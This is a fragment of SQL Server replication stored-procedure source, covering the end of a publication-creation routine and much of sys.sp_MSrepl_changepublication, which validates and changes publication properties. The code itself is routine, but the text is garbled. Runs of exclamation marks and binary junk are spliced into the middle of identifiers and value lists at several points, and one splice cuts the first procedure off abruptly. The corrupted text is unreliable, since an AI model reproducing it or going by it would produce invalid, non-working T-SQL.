    IF @allow_partition_switch IS NULL OR @allow_partition_switch NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_partition_switch')
        RETURN (1)
    END
	ELSE
	BEGIN
		if @allow_partition_switch = N'true'
		begin
			-- Default: allow implies replicate
			select @options_bitfield = @options_bitfield | @OPT_ALLOW_PARTITION_SWITCH | @OPT_REPLICATE_PARTITION_SWITCH
		end
		else
			select @options_bitfield = (@options_bitfield & (~@OPT_ALLOW_PARTITION_SWITCH & ~@OPT_REPLICATE_PARTITION_SWITCH)) 
	END

    /*
    ** Parameter Check:  @replicate_partition_switch.
    */
    SELECT @replicate_partition_switch = LOWER(@replicate_partition_switch)
    IF @replicate_partition_switch is not null and @replicate_partition_switch NOT IN (N'true', !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(V=.a@pvzN'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@replicate_partition_switch')
        RETURN (1)
    END
	ELSE
	BEGIN
		if @replicate_partition_switch = N'true'
			select @options_bitfield = @options_bitfield | @OPT_REPLICATE_PARTITION_SWITCH
		else if @replicate_partition_switch = N'false'
			select @options_bitfield = @options_bitfield & ~@OPT_REPLICATE_PARTITION_SWITCH
		-- else null, default don't touch freplicate_partition_switch
	END

	/*
	** Check for conflicts between replicate and allow partition switch 
	*/
	if (@options_bitfield & @OPT_REPLICATE_PARTITION_SWITCH = @OPT_REPLICATE_PARTITION_SWITCH) and (@options_bitfield & @OPT_ALLOW_PARTITION_SWITCH != @OPT_ALLOW_PARTITION_SWITCH)
	begin
		raiserror(21678, 16, -1, N'@replicate_partition_switch', N'true', N'@allow_partition_switch', N'true')
		RETURN (1)
	end

    /*
    **  Add publication to syspublications.
    */
    begin tran
    save TRAN sp_addpublication

    if @p2p_conflictdetection = N'true'
    begin
    	declare @numids int
    	select @numids = count(*) from dbo.MSpeer_originatorid_history with (holdlock, tablock, xlock) -- X lock the whole table
	IF @@error <> 0
		GOTO UNDO																		
        
       if @p2p_originator_id is null 
       begin
            EXEC sp_MScheckgenerate_originatorid @publication = @publication, @old_originator_id = 0, @new_originator_id = @p2p_originator_id output
            IF @@error <> 0
			GOTO UNDO
       end
       else
       begin
           DECLARE @tmpid int
           EXEC sp_MScheckgenerate_originatorid @publication = @publication, @old_originator_id = @p2p_originator_id, @new_originator_id = @tmpid output
           IF @@error <> 0
			GOTO UNDO
			
           IF @tmpid = 0
           BEGIN
                -- Originator ID provided is invalid: xxx.
		select @strval = cast(@p2p_originator_id as nvarchar)
                raiserror(22806, 16, -1, @strval)
                GOTO UNDO
           END
       end
  end
  else
  	select @p2p_originator_id = null
        
    /*
    ** Construct Log Reader agent name.
    */
    select @logreader_exists = 0
            ,@qreader_exists = 0
            ,@isyukonsecuritymodelrequired = sys.fn_yukonsecuritymodelrequired(NULL)
    --
    -- (CASE A.)
    -- here we are checking for the case where a user performed the following:
    --		1. Running 8.0 server publish a db (without adding a publication)
    --		2. Upgrade server to 9.0
    --		3. Changes published db compat level to 9.0
    --		4. Add a publication 
    -- In 8.0 we would expect the logreader to be created at add publication time. Since the
    -- database has been upgraded and the compat level has changed we must error out and
    -- let the user know what steps to take in order to correct the missing agent issue.
    --
    -- (CASE B.) -SQLSERVER ONLY-
    -- we also need to check if the logreader/queued agent already exists. If it already 
    -- exists then we must skip over the creation regardless of whether or not there 
    -- are any publications in this database. this handles the following case:
    --		1. Running 9.0 server publish a db (this creates a logreader job)
    --		2. Change the publish db compat level to 8.0
    --		3. Add a publication
    -- In 8.0 we would create a logreader job in step 3 since it is the first publication.
    -- This is not valid since we already have a logreader agent created in step 1 under 
    -- the 9.0 rules.
    --
    SELECT @distproc =  QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.sys.sp_MSreplagentjobexists'
    EXEC @retcode = @distproc @exists = @logreader_exists output,
                                            @type = 2,
                                            @publisher = @loc_publisher,
                                            @publisher_db = @publisher_db
    IF @@ERROR <> 0 or @retcode <> 0
        GOTO UNDO
    --
    -- (CASE A.) In strict security mode we expect the agent jobs to exist (>= 90)
    --      Also, the user is not allowed to specify the @job_name parameters
    --      unless it is sysadmin in which case we can revert to 8.0 mode...
    --
    IF @isyukonsecuritymodelrequired = 1
    BEGIN
        IF @logreader_job_name IS NOT NULL
        BEGIN
            -- "The %s parameter(s) have been deprecated from this procedure. The value(s) should now be specified when calling '%s'."
            RAISERROR(21838, 16, -1, N'@logreader_job_name', N'sp_addlogreader_agent')
            GOTO UNDO
        END

        IF @qreader_job_name IS NOT NULL
        BEGIN
            -- "The %s parameter(s) have been deprecated from this procedure. The value(s) should now be specified when calling '%s'."
            RAISERROR(21838, 16, -1, N'@qreader_job_name', N'sp_addqreader_agent')
            GOTO UNDO
        END
    END

    IF @issqlpublisher = 1
    BEGIN
        -- (CASE B.) Make sure that we skip adding the agent if it already exists...
        -- Note that there are more of these same cases below (search for string "_exists")
        --
        -- Create logreader task for the first log based or allow queued publication.
        -- We need logreader for queued publication to do idenity range management.
        --
        IF @isyukonsecuritymodelrequired = 0
            AND (@rfid = 0 OR @allow_queued_tran_id = 1)
            AND @logreader_exists = 0
            AND @repl_freq != N'snapshot'
        BEGIN
            --
            -- If we're attempting to add a new logreader job, we'll first drop
            --   the CDC job if CDC is enabled, as the logreader agent will be doing it's work           
            --
            if [sys].[fn_cdc_is_db_enabled]() = 1 
            begin
                exec @retcode = [sys].[sp_cdc_drop_job] @job_type = N'capture'
                if @retcode <> 0 or @@error <> 0
                    GOTO UNDO
            end

            --
            -- Clear repl dbtable fields. This will avoid unnecessary log scan in the 
            -- logreader at the first time it runs.
            --
            -- sp_droppublication will clear the fields when dropping the last publication, 
            -- however, it is after the transaction deleting syspublication table being
            -- committed, thus not guaranteed.
            -- 
            -- We also need this logic for upgraded 7.0 databases where we don't clear
            -- distbackuplsn and distlastlsn fields in unpublishing.
            --
			--if cdc is enabled, don't call sp_repldone

			if not exists(select * from sys.databases where db_id() = database_id and is_cdc_enabled = 1)
			begin
            	/* ensure we can get in as logreader */
				exec @retcode = sys.sp_replflush
				IF @@ERROR <> 0 or @retcode <> 0
				    GOTO UNDO

				/* unmark all xacts marked for replication */
				exec @retcode = sys.sp_repldone NULL, NULL, 0, 0, 1
				IF @@ERROR <> 0 or @retcode <> 0
				    GOTO UNDO

				/* release our hold on the db as logreader */
				EXEC @retcode = sys.sp_replflush
				IF @@ERROR <> 0 or @retcode <> 0
				    GOTO UNDO
	
				-- Run checkpoint to make sp_repldone result durable (write repl dbtable fields
				-- into the checkpoint record).
				checkpoint
				IF @@ERROR <> 0
					GOTO UNDO
			end

            select @job_existing = case when (@logreader_job_name is null) then 0 else 1 end
            /*
            ** Schedule Log Reader agent for the database
            ** If @logreader_job_name is not null
            */
            SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + N'.dbo.sp_MSadd_logreader_agent'
            EXECUTE @retcode = @distproc
                @name = @logreader_job_name,
                @publisher = @srvname,
                @publisher_db = @publisher_db,
                @publication = N'ALL',  
                @loc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(W}=ͬvzal_job = 1,
                @job_existing = @job_existing,
                @internal = N'YUKON',
                @publisher_engine_edition = @publisher_engine_edition

            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO  

            -- Warning: The logreader agent job has been implicitly created and will run under the SQL Server Agent Service Account.
            RAISERROR(21452, 10, -1, N'logreader')

            SELECT @logreader_exists = 1
        END --IF @isyukonsecuritymodelrequired = 0 AND  ... @repl_freq != N'snapshot'

        INSERT dbo.syspublications(description, name, repl_freq,
                               status, sync_method, snapshot_jobid, independent_agent,
                               immediate_sync, enabled_for_internet, 
                               allow_push, allow_pull, allow_anonymous, immediate_sync_ready,
                               -- SyncTran
                               allow_sync_tran, autogen_sync_procs, retention, allow_queued_tran,
                               snapshot_in_defaultfolder, alt_snapshot_folder, pre_snapshot_script, 
                               post_snapshot_script, compress_snapshot, ftp_address, ftp_port, 
                               ftp_subdirectory, ftp_login, ftp_password, allow_dts, 
                               allow_subscription_copy, centralized_conflicts, conflict_retention, 
                               conflict_policy, queue_type, backward_comp_level, allow_initialize_from_backup,
                               min_autonosync_lsn, replicate_ddl, options, originator_id)

        VALUES (@description, @publication, @rfid, @statid, @smid, NULL, 
                @independent_agent_id, 
                @immediate_sync_id, @enabled_for_internet_id, @allow_push_id,
                @allow_pull_id, @allow_anonymous_id, 0,
                -- SyncTran
                @allow_sync_tran_id, @autogen_sync_procs_id, @retention, @allow_queued_tran_id,
                @snapshot_in_defaultfolder_bit, @alt_snapshot_folder, @pre_snapshot_script,
                @post_snapshot_script, @compress_snapshot_bit, @ftp_address, @ftp_port, 
                @ftp_subdirectory, @ftp_login, @enc_ftp_password, 
                @allow_dts_id, @allow_subscription_copy_id, @centralized_conflicts_bit, @conflict_retention, 
                @conflict_policy_id, @queue_type_val, @backward_comp_level, @allow_initialize_from_backup_id,
                NULL, @replicate_ddl, @options_bitfield, @p2p_originator_id)

        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14018, 16, -1)
            GOTO UNDO
        END

        SELECT @pubid = scope_identity()

	if @p2p_conflictdetection = N'true'
	begin
	        exec @retcode = sys.sp_MSgetdbversion @current_version = @current_db_version output
       	 IF @@error <> 0 or @retcode <> 0
            		goto UNDO

		--do not reply on sp_MSaddpeerlsn (called later), which is in a different transaction (which is not good I think); 
		--sp_MSaddpeerlsn called later will try to insert the peer ID again, just to find that the ID is already inserted
		--into MSpeer_originatorid_history
       	insert dbo.MSpeer_originatorid_history
	       	 (originator_publication, originator_id, originator_node, originator_db, originator_db_version, originator_version)
		values(@publication, @p2p_originator_id, UPPER(publishingservername()), DB_NAME(), @current_db_version, @@microsoftversion)

		 IF @@ERROR <> 0
	        BEGIN
       	     RAISERROR (14018, 16, -1)
	            GOTO UNDO
       	 END
        end

        -- If this publication is enabled for autonosync, set the initial 
        -- min. subscription autonosync lsn
        IF @allow_initialize_from_backup_id = 1
        BEGIN
            EXEC @retcode = sys.sp_MSincrementpublicationminautonosynclsn @publication = @publication
            IF @@ERROR <> 0 or @retcode <> 0 GOTO UNDO
        END
    END -- SQL publisher type
    ELSE
    BEGIN -- HREPL publisher type
        -- Make sure that this is the first transactional publication
        -- for this heterogeneous publisher

        -- only allow the addition of logreader agent w/o proxy if SYSADMIN or in 8.0 sec model
        IF @isyukonsecuritymodelrequired = 0
            and @logreader_exists = 0
            and @rfid = 0
        BEGIN
            --
            -- If we're attempting to add a new logreader job, we'll first drop
            --   the CDC job if CDC is enabled, as the logreader agent will be doing it's work           
            --
            if [sys].[fn_cdc_is_db_enabled]() = 1 
            begin
                exec @retcode = [sys].[sp_cdc_drop_job] @job_type = N'capture'
                if @retcode <> 0 or @@error <> 0
                    GOTO UNDO
            end

            -- For heterogeneous publishers, add the logreader job
            select @job_existing = case when (@logreader_job_name is null) then 0 else 1 end

            /*
            ** Schedule Log Reader agent for the database
            ** If @logreader_job_name is not null
            */
            SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.dbo.sp_MSadd_logreader_agent'
            EXECUTE @retcode = @distproc
                                                @name = @logreader_job_name,
                                                @publisher = @publisher,
                                                @publisher_db = @publisher_db,
                                                @publication = N'ALL',  
                                                @local_job = 1,
                                                @job_existing = @job_existing,
                                                @publisher_type = @publisher_type,
                                                @internal = N'YUKON',
                                                @publisher_engine_edition = @publisher_engine_edition

            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO

            -- Warning: The logreader agent job has been implicitly created and will run under the SQL Server Agent Service Account.
            RAISERROR(21452, 10, -1, N'logreader')
            SELECT @logreader_exists = 1
        END
    END -- HREPL publisher type

    -- make sure we have added the logreader agent
    IF @logreader_exists = 0
        AND @repl_freq != N'snapshot'
    BEGIN
        -- The 'logreader' agent job must be added via 'sp_addlogreader_agent' before continuing. Please see the documentation for 'sp_addlogreader_agent'.
        RAISERROR(21798, 16, -1, N'logreader', N'sp_addlogreader_agent', N'sp_addlogreader_agent')
        GOTO UNDO
    END
    --
    -- Queued specific processing
    --
    IF @allow_queued_tran_id = 1
    BEGIN
        -- Check if Queue reader agent has been created
        SELECT @distproc =  QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.sys.sp_MSreplagentjobexists'
        EXEC @retcode = @distproc @exists = @qreader_exists output,
                                                @type = 4
        IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO

        -- only allow the addition of qreader agent w/o proxy if SYSADMIN or in 8.0 sec model
        IF @isyukonsecuritymodelrequired = 0
        BEGIN
            IF @qreader_exists = 0 and @qreader_job_name is not null
            BEGIN
                --
                -- Schedule Queue Reader agent for the database
                --
                SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.dbo.sp_MSadd_qreader_agent'
                EXECUTE @retcode = @distproc @name = @qreader_job_name
                IF @@ERROR <> 0 or @retcode <> 0
                    GOTO UNDO

                -- Warning: The qreader agent job has been implicitly created and will run under !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(X>U
v,{
create procedure sys.sp_MSrepl_changepublication
(
    @publication				sysname,
    @property					nvarchar(50),
    @value						nvarchar(255),
    @force_invalidate_snapshot	bit,
    @force_reinit_subscription	bit,
    @publisher					sysname,
    @publisher_type				sysname
) 
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @cmd nvarchar(255)
            ,@cmd2 nvarchar(255)
            ,@pubid int
            ,@replfreqid tinyint
            ,@retcode int
            ,@statusid tinyint
            ,@syncmethodid tinyint
            ,@db_name   sysname
            ,@distributor sysname
            ,@distproc nvarchar (255)
            ,@subscribed int    
            ,@virtual_id smallint
            ,@prev_value_bit bit
            ,@value_bit bit
            ,@allow_anonymous bit
            ,@push int
            ,@pull int
            ,@independent_agent bit
            ,@immediate_sync bit
            ,@distribdb sysname
            ,@dbname sysname
            ,@taskid int
            ,@add_virtual_back bit
            ,@alt_snapshot_folder nvarchar(255)
            ,@enabled_for_internet bit
            ,@ftp_address sysname
            ,@snapshot_in_defaultfolder bit
            ,@allow_dts bit
            ,@in_ActiveD    bit
            ,@ad_guidname   sysname
            ,@enc_ftp_password nvarchar(524)
            ,@conflict_policy_id int
            ,@centralized_conflicts_bit bit
            ,@conflict_retention int
            ,@queue_type int
            ,@allow_sync_tran bit
            ,@allow_queued_tran bit
            ,@allow_initialize_from_backup bit
            ,@replicate_ddl int
            ,@options int
            ,@is_enabled_for_het_sub bit
            ,@repl_freq tinyint
            ,@sync_method int
            ,@publisher_local sysname
            ,@publisher_engine_edition int
            ,@OPT_ENABLED_FOR_P2P int
            ,@OPT_ENABLED_FOR_HET_SUB int
            ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int
            ,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT int
			,@OPT_ALLOW_PARTITION_SWITCH int
			,@OPT_REPLICATE_PARTITION_SWITCH int
            ,@p2p_originator_id int
            ,@qualifiedname nvarchar(570)
			,@allow_partition_switch bit
			,@replicate_partition_switch bit
			,@fValue bit

    SELECT @OPT_ENABLED_FOR_P2P = 0x1
            ,@OPT_ENABLED_FOR_HET_SUB = 0x4
            ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8
            ,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT = 0x10
			,@OPT_ALLOW_PARTITION_SWITCH = 0x20
			,@OPT_REPLICATE_PARTITION_SWITCH = 0x40

            ,@add_virtual_back = 0
            ,@push = 0
            ,@pull = 1
            ,@alt_snapshot_folder = NULL
            ,@subscribed = 1
            ,@virtual_id = -1
            ,@db_name=db_name()
            ,@publisher_engine_edition = sys.fn_MSrepl_editionid()
			,@fValue = 0
            
    /*
    ** Security Check
    */

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Check to see if the database has been activated for publication.
    */

    IF sys.fn_MSrepl_istranpublished(@db_name,1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @property.
    ** If the @property parameter is NULL, print the options.
    */

    IF @property IS NULL
        BEGIN
            CREATE TABLE #tab1 (properties sysname collate database_default not null)
            INSERT INTO #tab1 VALUES ('description')
            --INSERT INTO #tab1 VALUES ('taskid')
            INSERT INTO #tab1 VALUES ('sync_method')
            INSERT INTO #tab1 VALUES ('status')
            INSERT INTO #tab1 VALUES ('repl_freq')
            INSERT INTO #tab1 VALUES ('independent_agent')
            INSERT INTO #tab1 VALUES ('immediate_sync')
            INSERT INTO #tab1 VALUES ('enabled_for_internet')
            INSERT INTO #tab1 VALUES ('allow_push')
            INSERT INTO #tab1 VALUES ('allow_pull')
            INSERT INTO #tab1 VALUES ('allow_anonymous')
            INSERT INTO #tab1 VALUES ('retention')
            INSERT INTO #tab1 VALUES ('snapshot_in_defaultfolder')
            INSERT INTO #tab1 VALUES ('alt_snapshot_folder')
            INSERT INTO #tab1 VALUES ('pre_snapshot_script')
            INSERT INTO #tab1 VALUES ('post_snapshot_script')
            INSERT INTO #tab1 VALUES ('compress_snapshot')
            INSERT INTO #tab1 VALUES ('ftp_address')
            INSERT INTO #tab1 VALUES ('ftp_port')
            INSERT INTO #tab1 VALUES ('ftp_subdirectory')
            INSERT INTO #tab1 VALUES ('ftp_login')
            INSERT INTO #tab1 VALUES ('ftp_password')
            INSERT INTO #tab1 VALUES ('allow_subscription_copy')
            INSERT INTO #tab1 VALUES ('conflict_policy')
            INSERT INTO #tab1 VALUES ('centralized_conflicts')
            INSERT INTO #tab1 VALUES ('conflict_retention')
            INSERT INTO #tab1 VALUES ('queue_type')
            INSERT INTO #tab1 VALUES ('publish_to_ActiveDirectory')
            INSERT INTO #tab1 VALUES ('allow_initialize_from_backup')
            INSERT INTO #tab1 VALUES ('replicate_ddl')
            INSERT INTO #tab1 VALUES ('enabled_for_p2p')
            INSERT INTO #tab1 VALUES ('enabled_for_het_sub')
            INSERT INTO #tab1 VALUES (N'p2p_originator_id')
            INSERT INTO #tab1 VALUES (N'p2p_continue_onconflict')
			INSERT INTO #tab1 VALUES (N'allow_parition_switch')
			INSERT INTO #tab1 VALUES (N'replicate_partition_switch')
            
            PRINT ''
            SELECT * FROM #tab1
            RETURN (0)
        END

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_changepublication')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @publication

    IF @@ERROR <> 0 OR @retcode <> 0
    RETURN (1)


	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	SELECT	@allow_anonymous			= allow_anonymous,
			@ad_guidname				= ad_guidname,	--with NULL value if this publication is not in AD
			@replfreqid					= repl_freq,
			@immediate_sync				= immediate_sync,
			@independent_agent			= independent_agent,
			@syncmethodid				= sync_method,
			@alt_snapshot_folder		= alt_snapshot_folder,
			@enabled_for_internet		= enabled_for_internet,
			@ftp_address				= ftp_address,
			@allow_dts					= allow_dts,
			@queue_type					= queue_type,
			@snapshot_in_defaultfolder	= snapshot_in_defaultfolder,
			@in_ActiveD					= case
											when ad_guidname is NULL then 0
											else 1
										  end,
			@allow_sync_tran			= allow_sync_tran,
			@allow_queued_tran			= allow_queued_tran,
			@allow_initialize_from_backup		= allow_initialize_from_backup        ,
			@replicate_ddl				= replicate_ddl,
			@options					= options,
			@repl_freq					= repl_freq,
			@p2p_originator_id                     = originator_id
	FROM	syspublications 
	WHERE	pubid = @pubid

	SELECT @is_enabled_for_het_sub = case
										when ISNULL(@options, 0) & @OPT_ENABLED_FOR_HET_SUB = @OPT_ENABLED_FOR_HET_SUB then 1
										else 0
									 end	 

	SELECT @allow_partition_switch = case when 
											isnull(@options,0) & @OPT_ALLOW_PARTITION_SWITCH = @OPT_ALLOW_PARTITION_SWITCH then 1
											else 0 end
	SELECT @replicate_partition_switch = case when 
											isnull(@options,0) & @OPT_REPLICATE_PARTITION_SWITCH = @OPT_REPLICATE_PARTITION_SWITCH then 1
											else 0 end

    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END
    ELSE

    SELECT @property = LOWER(@pro!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Y>F	v,{perty collate SQL_Latin1_General_CP1_CS_AS)
    /*
    ** Parameter Check:  @property.
    ** Check to make sure that @property is a valid property in
    ** syspublications.
    */

    IF @property NOT IN
    	(
    		'taskid',
    		'description',
    		'sync_method',
    		'status',
    		'repl_freq',
    		'immediate_sync',
    		'independent_agent',
    		'enabled_for_internet',
    		'allow_push',
    		'allow_pull',
    		'allow_anonymous',
    		'retention',
    		'snapshot_in_defaultfolder',
    		'alt_snapshot_folder',
    		'pre_snapshot_script',
    		'post_snapshot_script',
    		'compress_snapshot',
    		'ftp_address',
    		'ftp_port',
    		'ftp_subdirectory',
    		'ftp_login',
    		'ftp_password',
    		'allow_subscription_copy',
    		'conflict_policy',
    		'centralized_conflicts',
    		'conflict_retention',
    		'queue_type',
    		'publish_to_activedirectory',
    		'allow_initialize_from_backup',
    		'replicate_ddl',
    		'enabled_for_p2p',
    		'enabled_for_het_sub',
    		N'p2p_originator_id',
    		N'p2p_continue_onconflict',
			N'allow_partition_switch',
			N'replicate_partition_switch'
    	)
        BEGIN
            RAISERROR (21183, 16, -1, @property)
            RETURN (1)
        END
	
    /*
    ** Parameter Check:
    ** If the Publication's alt_snapshot_folder setting is null, 
    ** snapshot compression cannot be enabled
    */
    IF (@alt_snapshot_folder IS NULL OR @alt_snapshot_folder = '') 
        AND @property = 'compress_snapshot'
        AND LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'   
    BEGIN
        RAISERROR (21157, 16, -1)        
        RETURN(1)
    END

    /* 
    ** Parameter Check:
    ** If enabled_for_internet is set to true, the publication must have a 
    ** non-null ftp_address.
    */
    IF @property = N'enabled_for_internet' AND
       LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'true' AND 
       (@ftp_address IS NULL OR @ftp_address = N'')
    BEGIN
        RAISERROR(21158, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:
    ** 'ftp_port' cannot be null or negative
    */
    IF @property = N'ftp_port' AND (@value IS NULL or convert(int, @value) < 0 or convert(int, @value) > 65535)
    BEGIN
        RAISERROR (21160, 16, -1)
        RETURN (1)
    END

    /* 
    ** Enforce @allow_initialize_from_backup restrictions
    ** i) immediate_sync = 1 (temporarily lifted)
    ** ii) allow_dts = 0 (temporarily lifted)
    ** iii) repl_freq = 0 (transactional/continuous)  
    **      (auto-reset of the allow_initialize_from_backup property)
    **       
    */
--    IF @allow_initialize_from_backup = 1
--    BEGIN
--        IF @property = N'immediate_sync' AND LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'false'
--        BEGIN
--            RAISERROR (18788, 16, -1)
--            RETURN (1)
--        END
--        ELSE IF @property = N'allow_dts' AND LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'true'
--        BEGIN
--            RAISERROR (18789, 16, -1)
--            RETURN (1)
--        END
--        IF @property = N'repl_freq' AND LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) <> N'continuous'
--        BEGIN
--            RAISERROR (18787, 16, -1)
--            RETURN (1)
--        END
--    END

	/*
		Enforce PeerToPeer restrictions
	*/
	IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
	BEGIN
		IF @property IN ('taskid',
							'sync_method',
							'repl_freq',
							'independent_agent',
							'enabled_for_internet',
							'allow_anonymous',
							'snapshot_in_defaultfolder',
							'alt_snapshot_folder',
							'pre_snapshot_script',
							'post_snapshot_script',
							'compress_snapshot',
							'ftp_address',
							'ftp_port',
							'ftp_subdirectory',
							'ftp_login',
							'ftp_password',
							'allow_subscription_copy',
							'conflict_policy',
							'centralized_conflicts',
							'queue_type',
							'publish_to_activedirectory',
							'allow_initialize_from_backup',
							'replicate_ddl',
							'enabled_for_het_sub')
        BEGIN
        	-- The property '%s' cannot be modified for Peer-To-Peer publications.
            RAISERROR (20647, 16, -1, @property)
            RETURN (1)
        END

	if (@options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) <> @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION
	begin
		if @property in (N'p2p_originator_id', N'conflict_retention', N'p2p_continue_onconflict')
		begin
        		-- The publication property '%s' cannot be modified because the peer-to-peer publication '%s' is not enabled for conflict detection. To enable the publication for conflict detection, use sp_configure_peerconflictdetection.
			raiserror (22807, 16, -1, @property, @publication)
			return (1)
		end
	end
        
    END

	
    -- Enforce restrictions for publications enabled for heterogeneous subscriptions
    IF @is_enabled_for_het_sub = 1
    BEGIN
        IF @property IN (   'enabled_for_internet', 'allow_pull', 'allow_sync_tran',
                                'autogen_sync_procs', 'allow_queued_tran', 'pre_snapshot_script',
                                'post_snapshot_script', 'ftp_address', 'ftp_port',
                                'ftp_subdirectory', 'ftp_login', 'ftp_password',
                                'allow_subscription_copy', 'conflict_policy', 'centralized_conflicts',
                                'conflict_retention', 'queue_type', 'allow_initialize_from_backup',
                                'replicate_ddl', 'enabled_for_p2p')
        BEGIN
            -- The property '%s' cannot be modified for publications enabled for heterogeneous subscriptions.
            RAISERROR (20645, 16, -1, @property)
            RETURN (1)
        END
        -- Not supported on Workgroup edition
        IF(@publisher_engine_edition = 21)
        BEGIN 
            RAISERROR(14173, 16, -1,'@enabled_for_het_sub') 
            RETURN (1)
        END
    END
    IF (@publisher IS NULL) AND (@publisher_type = N'MSSQLSERVER')
    BEGIN
        SELECT @publisher_local = publishingservername()
    END
    ELSE
    BEGIN
        SELECT @publisher_local = @publisher
    END

    -- If @enabled_for_het_sub is the property being set, several addtional
    -- restrictions apply.
    IF @property = 'enabled_for_het_sub'
    BEGIN
        -- If we are enabling this property
        IF LOWER(@value) = N'true'
        begin
            --
            -- Heterogenous subscriptions are not allowed on workgroup edition
            --
            IF(@publisher_engine_edition = 21)
            BEGIN 
                RAISERROR(14173, 16, -1,'@enabled_for_het_sub') 
                RETURN (1)
            END
        end
        -- If the publication is already enabled for heterogeneous subscriptions
        -- and we are enabling the property simply return  
        IF @is_enabled_for_het_sub = 1 and
                LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            return(0)

        -- If the publication is not enabled for heterogeneous subscriptions
        -- and we are disabling the property simply return  
        IF @is_enabled_for_het_sub = 0 and
                LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'false'
            return(0)

        -- Cannot change enabled for heterogeneous subscriptions property
        -- if either 'allow_sync_tran' or 'allow_queued_tran' properties are
        -- set for the publication
        IF @allow_sync_tran = 1 OR @allow_queued_tran = 1
        BEGIN
            -- Publications enabled for updatable subscriptions cannot be changed to support heterogeneous subscriptions. Drop the publication and recreate without enabling updatable subscriptions.
            RAISERROR (20639, 16, 1)
            RETURN (1)
        END

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Z> AVv,{        -- Cannot change enabled for heterogeneous subscriptions property
        -- once we have subscriptions to the publication
        IF EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                        WHERE ss.artid = sa.artid
                        AND sa.pubid = @pubid
                        AND ss.srvid >= 0)     -- skip virtual subscriptions
        BEGIN
            -- Cannot change enabled for heterogeneous subscriptions property while there are subscriptions to the publication.
            RAISERROR (20640, 16, 1)
            RETURN (1)
        END
    END

    -- Check to see if there are snapshot and subscription needs to be reinited.
    declare @need_new_snapshot bit
        ,@need_reinit_subscription bit
        ,@active tinyint

    select @active = 2
    select @need_new_snapshot = 0
    select @need_reinit_subscription = 0

    IF @property IN
    	(
    		'snapshot_in_defaultfolder',
    		'alt_snapshot_folder',
    		'pre_snapshot_script',
    		'post_snapshot_script',
    		'compress_snapshot',
    		'ftp_address',
    		'ftp_port',
    		'ftp_subdirectory',
    		'ftp_login',
    		'ftp_password',
    		'enabled_for_internet'
    	)
    BEGIN
        select @need_new_snapshot = 1
    end
    else if @property = 'sync_method'
    begin
        -- If changing to or from concurrent, must reinit subscription.
        if EXISTS( select * from syspublications sp
            where sp.pubid = @pubid and 
            (sp.sync_method in (3,4) or LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) in ('concurrent', 'concurrent_c'))) 
        BEGIN
            select @need_new_snapshot = 1
            select @need_reinit_subscription = 1            
        END
        else
            select @need_new_snapshot = 1
    end
    else if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'repl_freq' OR
            LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'enabled_for_het_sub'
    BEGIN
        select @need_new_snapshot = 1
        select @need_reinit_subscription = 1            
    END
   
	if @property = 'allow_partition_switch'
	begin
		select @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
		IF @value IS NULL OR @value NOT IN (N'true', N'false')
		BEGIN
			raiserror (21865, 16, -1, @property)
        	RETURN (1)
    	END
		else
		begin
			-- Enabling/disabling allow_parittion_switch infers the same action for replicate_partition_switch
			if @value = N'true'
			begin
				UPDATE syspublications SET options = options | (@OPT_ALLOW_PARTITION_SWITCH | @OPT_REPLICATE_PARTITION_SWITCH)
	            	WHERE pubid = @pubid
				IF @@ERROR <> 0 GOTO UNDO
			end
			else
			begin
				UPDATE syspublications SET options = options & ~(@OPT_ALLOW_PARTITION_SWITCH | @OPT_REPLICATE_PARTITION_SWITCH)
	            	WHERE pubid = @pubid
